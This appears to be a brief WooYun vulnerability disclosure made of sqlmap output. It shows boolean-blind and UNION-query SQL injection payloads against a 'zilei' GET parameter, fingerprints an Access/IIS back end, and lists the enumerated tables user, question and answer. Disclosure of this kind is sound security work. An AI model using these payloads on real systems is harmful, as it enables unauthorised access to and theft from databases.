WooYun.org

Parameter: zilei (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: zilei=znpz' AND 5329=5329 AND 'OoSV'='OoSV
    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: zilei=-8844' UNION ALL SELECT NULL,NULL,NULL,CHR(113)&CHR(118)&CHR(
107)&CHR(113)&CHR(113)&CHR(108)&CHR(104)&CHR(111)&CHR(90)&CHR(101)&CHR(106)&CHR(
107)&CHR(87)&CHR(72)&CHR(72)&CHR(113)&CHR(107)&CHR(113)&CHR(107)&CHR(113),NULL,N
ULL,NULL FROM MSysAccessObjects%16
---
[15:40:50] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[15:40:50] [INFO] heuristics detected web page charset 'GB2312'
[15:40:50] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast'
[15:40:50] [INFO] checking table existence using items from 'C:\sqlmap\txt\commo
n-tables.txt'
[15:40:50] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 10
[15:40:53] [INFO] starting 10 threads
[15:40:54] [INFO] retrieved: user
[15:41:03] [INFO] retrieved: question
[15:41:54] [INFO] retrieved: answer
Current database
[3 tables]
+----------+
| user     |
| answer   |
| question |